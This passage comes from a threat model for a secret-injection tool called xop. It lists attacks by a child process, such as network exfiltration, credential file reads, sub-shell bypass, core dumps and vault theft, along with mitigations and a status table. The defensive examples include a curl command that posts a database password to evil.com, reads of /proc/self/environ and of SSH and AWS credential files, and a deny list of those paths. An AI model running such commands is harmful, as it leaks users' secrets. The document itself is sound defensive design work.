**Attack:** child runs `curl -d "$DB_PASS" https://evil.com/exfil`.
**Mitigation:** `src/guard/network.rs`:
- macOS: inject `pf` rules pinning child's outbound to `--allow-net` list. Default `deny *`.
- Linux: `iptables -m owner --pid-owner <child_uid>` to apply rules.
- Fallback (any Unix): `http_proxy=http://127.0.0.1:0` to break HTTP, plus `--allow-net` for HTTPS whitelist (still imperfect — agent could use raw TCP).
**Residual risk:** child uses raw sockets, DNS tunneling, ICMP. Hard problem; v0.2 ships deny-by-default for *all* network unless allowlist provided (network policy itself is stubbed at the OS level — see HANDOFF §3).
## T6 — Child Reads Protected Files
**Attack:** child runs `cat /proc/self/environ` or reads `~/.ssh/id_rsa` or `~/.aws/credentials`.
**Mitigation:** `src/guard/file.rs`:
- Pre-seeded deny list: `/proc/self/environ`, `/proc/*/environ`, `~/.ssh/id_*`, `~/.aws/credentials`, `~/.config/gh/hosts.yml`, `~/.netrc`.
- macOS: `sandbox-exec -p <profile>` with `(deny file-read* (subpath "/etc/shadow"))` etc.
- Linux: `landlock` ABI (kernel ≥ 5.13) for fine-grained FS ACL on the child only.
**Residual risk:** symlink races, TOCTOU. v0.2 best-effort; v0.3 may add `(deny file-read* (subpath ...))` style checks at every openat.
## T7 — Child Spawns a Sub-Shell to Bypass Policy
**Attack:** child runs `bash -c 'env | grep -E PASS'`. The grandchild inherits envp and stdout, bypassing xop's stdout pipe (because the grandchild's stdout is still the pipe xop set up — actually, this *doesn't* bypass the pipe — bash will write to inherited fd 1, which is the pipe).
**Reality check:** descendants inherit the file descriptors xop set up, including stdout pipe. So `src/guard/stdout.rs` *does* still catch their stdout. Good.
**Mitigation:** xop sets `BASH_ENV=` and `ENV=` to empty in child envp to prevent startup files from injecting wrapper scripts. Also `set +o history` if interactive shell detected.
**Residual risk:** child execs a binary that re-opens `/dev/tty` directly. Hard to detect. v0.2 acceptable risk; v0.3 may add `ptrace` on Linux for syscall auditing.
## T8 — Core Dump Leaks Envp
**Attack:** child crashes (SIGSEGV), kernel writes core dump to `/var/lib/systemd/coredump` or `core.<pid>`. Envp visible.
**Mitigation:** xop sets `RLIMIT_CORE=0` in child before exec via `cmd.pre_exec(|| setrlimit(RLIMIT_CORE, 0, 0))`. macOS sets `CORE_FILE_SIZE=0` similarly.
## T9 — Audit Log Itself Leaks
**Attack:** audit log JSONL file at `~/.xop/audit.jsonl` accumulates. If filesystem is later exfiltrated, secrets leak.
**Mitigation:** `src/audit.rs` writes ONLY refs and metadata, never values. Type system enforces this: `AuditEvent` has fields `ref: String`, `backend: String`, `child_pid: u32`, `policy_hash: String` — no `value: String` field exists. Invariant test (`audit::tests::no_value_field_in_any_event`) scans for `"value":`, `"plaintext":`, `"ciphertext":`, `"passphrase":` substrings in every test event.
## T10 — Vault File Stolen Off Disk
**Attack:** attacker gets filesystem read access (laptop theft, backup exfil, malicious process). They grab `~/.xop/key.db`.
**Mitigation:**
- Vault is encrypted at rest: AES-256-GCM with 256-bit key derived via `argon2id(passphrase, salt)`.
- Argon2id parameters: m=64 MiB, t=3, p=4 — chosen to take ~250ms per attempt on modern CPUs, defeating offline brute force.
- Salt is 16 bytes random per vault (header), so rainbow tables are useless.
- Per-save nonce is 12 bytes random — AES-GCM guarantees ciphertext indistinguishability across writes of the same plaintext.
- Auth tag (GMAC) detects tampering.
**Residual risk (v0.2.1):** if the attacker can also read `~/.xop/keyring` (same-UID process, or a backup that grabs the whole `~/.xop` dir), the passphrase factor is gone — the hex key decrypts the vault directly. Protections: keyring mode 0600 + dir 0700, `load()` REFUSES any group/other-readable file, `xop key --remove` revokes instantly, `XOP_NO_KEYRING=1` forces typing. Same-UID malware can equally type-jack a live terminal, so this does not widen the classic threat surface — but it IS the accepted tradeoff that makes `xop run` unattended-able. Threat T13 below covers it. Also: weak passphrase — future v0.3 may add zxcvbn-style strength meter during `init`.
## T11 — Attacker Bypasses OS Auth (Touch ID)
**Attack:** attacker tricks macOS Touch ID (e.g. sleeping laptop with fingerprint on sensor).
**Mitigation:** OS auth is *only a pre-gate* — bypassing it still leaves the attacker needing the unlock secret (typed passphrase or keyring file). The keyring NEVER substitutes for the gate: `Vault::open` runs `auth::authenticate()` first, and the gate's verdict decides keyring eligibility (`auth::decide`): silent keyring unlock is allowed only after a **live biometric verification** on the local console, or in a **headless automation context** (no TTY). Everywhere identity cannot be biometrically proven — **SSH sessions** (a biometric prompt would pop on the wrong screen: the local console), devices with no enrolled/available biometrics, broken osascript, Linux interactive — the operation **requires the typed xop passphrase and does not consult the keyring at all**. Biometric alone never reveals plaintext. Since 2026-10-02 the prompt is **biometrics-only LAContext**: cancelling it (LAError -128/-5/-12) hard-refuses the operation (exit 77) instead of silently degrading, and there is no password option in the dialog — the system login password is never offered as a fallback.
**Residual risk:** if the attacker also has the passphrase or the keyring (see T13), they're in. Out of scope.
## T12 — Race Condition: Ref Resolved After Spawn
**Attack:** xop resolves ref, then spawns child. Between resolution and execve, a debugger attaches to xop, reads its memory.
**Mitigation:** resolution is synchronous and <1ms; debugger attachment is the threat model of "local attacker has root" which is game over anyway. Out of scope.
## T13 — Keyring File Stolen (v0.2.1)
**Attack:** malware running as the same UID (or a stolen/loose backup of `~/.xop`) reads `~/.xop/keyring` — the hex argon2-derived key — and decrypts `~/.xop/key.db` without ever knowing the passphrase.
**Mitigation:**
- This is an **explicitly accepted tradeoff** (user decision 2026-10-02): the alternative — macOS Keychain storage — popped system authorization dialogs during automation and was rejected outright.
- File mode 0600, dir `~/.xop` 0700, atomic write via tmp+rename.
- `keyring::load_at` **refuses** any file whose mode has group/other bits set (error, not silent use) and any non-64-hex content.
- Instant revocation: `xop key --remove` (or `xop reset --yes`, which cascades).
- Per-invocation opt-out: `XOP_NO_KEYRING=1` forces passphrase typing.
- Same-UID is the boundary: a same-UID process can also read the live terminal / keylog the typed passphrase, so the keyring does not meaningfully widen the local-threat surface — it moves one factor from "memory" to "disk".
- Not a remote risk: nothing exfiltrates `~/.xop` by design; backups of the dir should be treated as secret material (or exclude `keyring`).
**Residual risk:** backups / dotfile-sync tools (Dropbox, iCloud `~` sync) copying `~/.xop/keyring` off-machine. Mitigation: sync tools honouring dir perms are outside xop's control — document "back up key.db only, never keyring", or keep the dir out of sync paths.
## Summary table
| # | Threat | v0.2 status |
|---|---|---|
| T1 | LLM sees secret | ✅ refs-only invariant |
| T2 | ps output | ✅ argv never has values |
| T3 | shell history | ⚠️ HISTIGNORE recommendation |
| T4 | stdout leak | ✅ pipe filter implemented |
| T5 | network exfil | ⚠️ stubbed — needs pf/iptables |
| T6 | protected file reads | ⚠️ stubbed — needs sandbox-exec/landlock |
| T7 | sub-shell bypass | ✅ inherited fds catch descendants |
| T8 | core dump | ✅ RLIMIT_CORE=0 in child |
| T9 | audit log leaks | ✅ type system + scan test |
| T10 | vault file stolen | ✅ AES-256-GCM + argon2id |
| T11 | Touch ID bypass | ✅ keyring only after proven identity (biometric pass or headless); SSH/no-biometric → passphrase typed; cancel = exit 77 |
| T12 | debug attach | out of scope |
| T13 | keyring file stolen | ✅ accepted tradeoff — 0600 enforced, revoke via `xop key --remove` |